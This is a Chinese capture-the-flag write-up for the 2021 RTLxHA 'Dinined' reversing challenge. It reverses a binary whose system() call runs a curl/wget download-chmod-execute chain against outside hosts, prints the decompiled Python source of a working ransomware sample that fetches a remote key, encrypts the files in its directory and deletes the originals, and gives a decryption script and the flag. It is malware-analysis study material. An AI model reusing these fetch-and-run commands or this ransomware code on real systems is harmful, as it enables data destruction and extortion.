2021-RTLxHA 21 CTF-Dinined

  1. 题目


    题面

    文件:

链接:https://pan.baidu.com/s/14i2ZZd63frWhJbWeB-0v1A
提取码:ysvy

  1. 逆向分析 dinined,可以发现它是一个 64 位程序,利用 system() 函数执行指令:curl -H 'User-Agent:0xdc9' https://th1s-is-4-f4ke-fl4g.herokuapp.com/load -o loader; chmod +x loader; ./loader.
  // dinined 逆向代码节选
  AntiDebug(argc, argv, envp);
  ......
  strcpy(dest, "curl -H 'User-Agent:");
  ......
  strcpy(src, "' https://th1s-is-4-f4ke-fl4g.herokuapp.com/load -o loader; chmod +x loader; ./loader");
  ......
  sprintf(s, "0x%x", 3529LL);
  strcat(dest, s);
  strcat(dest, src);
  return system(dest);
  1. 分析指令:
blog@blog-virtual-machine:~/Desktop/RTL/Dinined/temp$ curl -H 'User-Agent:0xdc9' https://th1s-is-4-f4ke-fl4g.herokuapp.com/load -o loader
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   101  100   101    0     0      1      0  0:01:41  0:01:31  0:00:10    23
blog@blog-virtual-machine:~/Desktop/RTL/Dinined/temp$ cat loader 
wget https://transfer.sh/16E4i1F/main_malware; chmod +x main_malware; ./main_malware; rm main_malware

可以发现,接下来要做的事情就是:从 https://transfer.sh/16E4i1F/main_malware 下载 main_malware,运行然后删除掉它。

  1. 下载 main_malware
blog@blog-virtual-machine:~/Desktop/RTL/Dinined/temp$ wget https://transfer.sh/16E4i1F/main_malware
--2021-08-02 10:36:56--  https://transfer.sh/16E4i1F/main_malware
Resolving transfer.sh (transfer.sh)... 144.76.136.153
Connecting to transfer.sh (transfer.sh)|144.76.136.153|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10489888 (10M) []
Saving to: ‘main_malware’

main_malware                                       100%[===============================================================================================================>]  10.00M  2.46MB/s    in 4.5s    

2021-08-02 10:37:05 (2.24 MB/s) - ‘main_malware’ saved [10489888/10489888]
  1. 考虑到是恶意软件,(本来是将程序拷到一个新的虚拟机上运行,后来发现并没有必要),我们将 main_malware 拷到一个新建的文件夹下面,并且根据题目提示在文件夹下新建一个 a.txt,在里面随便输入几个数字。
blog@blog-virtual-machine:~/Desktop/RTL/Dinined/temp/sandbox$ ls
a.txt  main_malware

运行 main_malware 之后,会把 a.txt 加密成一个带有 .dc9 后缀的文件,里面全是数字;并且生成一个 warning.txt。(因为 main_malware 需要连接官方服务器,赛后复现时已无法运行,只能使用比赛时的文件)

blog@blog-virtual-machine:~/Desktop/RTL/Dinined/temp/sandbox$ cat warning.txt 

    warning, all your files has been encrypted. yeah i bet you can't crack me or figure how i encrypt it
    3333333733333332333333373333333433333336333633333333333733363332333333373333333233333333333333343333333633363335333333373333333333333336333633363333333633363334333333333333333333333335333633363333333333333331333333333333333533333335333633363333333633363334333333333333333433333336333633333333333633333339333333363333333333333336333333393333333633363336333333373333333530343239353238362185622901563106
            
    sincerely, 0xdc9

  1. 分析 main_malware
    比赛的时候运行该程序的时候出现过一次网络错误,报错的 Traveback 里面出现了 main_malware.py 的字样,而且 IDA 逆向出来的代码很奇怪,那时就怀疑应该不是用 C 语言写的。在程序中随便找了个看起来不像是作者写的字符串在 github 上面搜了一下,发现这是一个 python 写的、用 pyinstaller 打包的可执行文件。

  2. 逆向 main_malware
    参考资料:Backdoor, Uncompyle6 appears Unknown magic number 227

  • pip3 install pyinstaller 安装 pyinstaller.
  • 用 pyi-archive_viewer 提取可执行文件中的 python 代码(提取出来的只是字节串,保存到 main_malware.bin):
blog@blog-virtual-machine:~/Desktop/RTL/Dinined/temp/sandbox$ pyi-archive_viewer main_malware
 pos, length, uncompressed, iscompressed, type, name
[(0, 230, 311, 1, 'm', 'struct'),
 (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
 (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
 (5362, 5441, 12821, 1, 'm', 'pyimod03_importers'),
 (10803, 1819, 4025, 1, 's', 'pyiboot01_bootstrap'),
 (12622, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
 (13756, 259, 321, 1, 's', 'pyi_rth_certifi'),
 (14015, 1331, 2390, 1, 's', 'main_malware'),
......
? X main_malware
to filename? main_malware.bin
? Q
  • 接下来在 main_malware.bin 的头部加上我们自己的 magic number(具体:magic number + '\x00'*12 + main_malware.bin),然后再用 uncomplye6 将其逆成 python 代码。
blog@blog-virtual-machine:~/Desktop/RTL/Dinined/temp/sandbox$ python3
Python 3.8.10 (default, Jun  2 2021, 10:49:15) 
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import importlib.util
>>> from binascii import hexlify
>>> hexlify(importlib.util.MAGIC_NUMBER)
b'550d0d0a'
>>> open("main_malware.pyc", "wb").write(b'\x55\x0d\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + open("main_malware.bin", "rb").read())
2406
.....
blog@blog-virtual-machine:~/Desktop/RTL/Dinined/temp/sandbox$ uncompyle6 main_malware.pyc > main_malware.py
# uncompyle6 version 3.7.5.dev0
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.10 (default, Jun  2 2021, 10:49:15) 
# [GCC 9.4.0]
# Embedded file name: main_malware.py
import os
from binascii import hexlify as lock
from binascii import unhexlify as unlock
import requests, sys
from base64 import b64encode as encc

def get_key():
    getkey = requests.get('https://th1s-is-4-f4ke-fl4g.herokuapp.com/enckey', headers={'User-agent': '0xdc9'})
    return str(getkey.text)


def encrypt(plain, key):
    iterate = 0
    a = int(lock(lock(lock(key.encode('utf-8')))))
    b = plain
    b = int(lock(lock(b.encode('utf-8'))))
    while len(str(key)) > iterate:
        b = int(lock(str(b).encode('utf-8'))) ^ a
        iterate += 1

    return b


def getdir_path():
    path = os.path.dirname(__file__)
    out = ''
    file_name = ''
    if len(path) == 0:
        path = os.getcwd()
        listi = os.listdir(path)
        for x in range(0, len(listi)):
            if os.path.isdir(path + '/' + listi[x]) == False:
                out += str(path + '/' + listi[x] + '\n')
                file_name += listi[x] + '\n'

    else:
        listi = os.listdir(path)
        for x in range(0, len(listi)):
            if os.path.isdir(path + '/' + listi[x]) == False:
                out += str(path + '/' + listi[x] + '\n')
                file_name += listi[x] + '\n'
            else:
                return (
                 out, file_name)


def end_game(path, ext):
    key = get_key()
    a = path.split('\n')
    file = ext.split('\n')
    del a[len(a) - 1]
    del file[len(file) - 1]
    script_name = sys.argv[0]
    script_name = script_name.replace('./', '')
    for x in range(0, len(a)):
        if script_name not in file[x]:
            print(f"[+] Encrypting {a[x]}")
            with open(a[x], 'rb') as (f):
                c = f.read()
                try:
                    dead = encrypt(c.decode('utf-8'), key)
                    with open(file[x] + '.dc9', 'w') as (gg):
                        gg.write(str(dead))
                        gg.close()
                        os.system(f"rm {file[x]}")
                except:
                    parse = encc(c)
                    dead = encrypt(parse.decode('utf-8'), key)
                    with open(file[x] + '.dc9', 'w') as (gg):
                        gg.write(str(dead))
                        gg.close()
                        os.system(f"rm {file[x]}")

        warning = requests.get('https://th1s-is-4-f4ke-fl4g.herokuapp.com/warning', headers={'User-agent': '0xdc9'})
        with open('warning.txt', 'w') as (d):
            d.write(str(warning.text))
            d.close()


def main():
    a, file = getdir_path()
    end_game(a, file)


if __name__ == '__main__':
    main()
# okay decompiling main_malware.pyc

不难分析:该程序将同目录下的所有文件都转成字符串,用 encrypt() 函数进行加密,密钥通过 get_key() 函数获取。由 encrypt() 逆向写出 decrypt() 函数,解密 warning.txt 中的那串数字应该就是 flag。
get_key() 中其实就是返回 curl -H 'User-Agent:0xdc9' https://th1s-is-4-f4ke-fl4g.herokuapp.com/enckey 得到的字符串,由于赛后无法连接,直接用官方题解的图:

get_key

  1. EXP
import os
from binascii import hexlify as lock
from binascii import unhexlify as unlock
import requests, sys
from base64 import b64encode as encc
    
def decrypt(cipher, key):
    iterate = 0
    a = int(lock(lock(lock(key.encode('utf-8')))))
    b = cipher
    while len(str(key)) > iterate:
        b = int(unlock(str(int(b) ^ a).encode('utf-8')))
        iterate += 1
    
    print(unlock(unlock(str(b).encode('utf-8'))))

C = 3333333733333332333333373333333433333336333633333333333733363332333333373333333233333333333333343333333633363335333333373333333333333336333633363333333633363334333333333333333333333335333633363333333333333331333333333333333533333335333633363333333633363334333333333333333433333336333633333333333633333339333333363333333333333336333333393333333633363336333333373333333530343239353238362185622901563106
key = "15"

decrypt(C, key)
# flag: rtl{r4nsom3_15_m4licious}
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容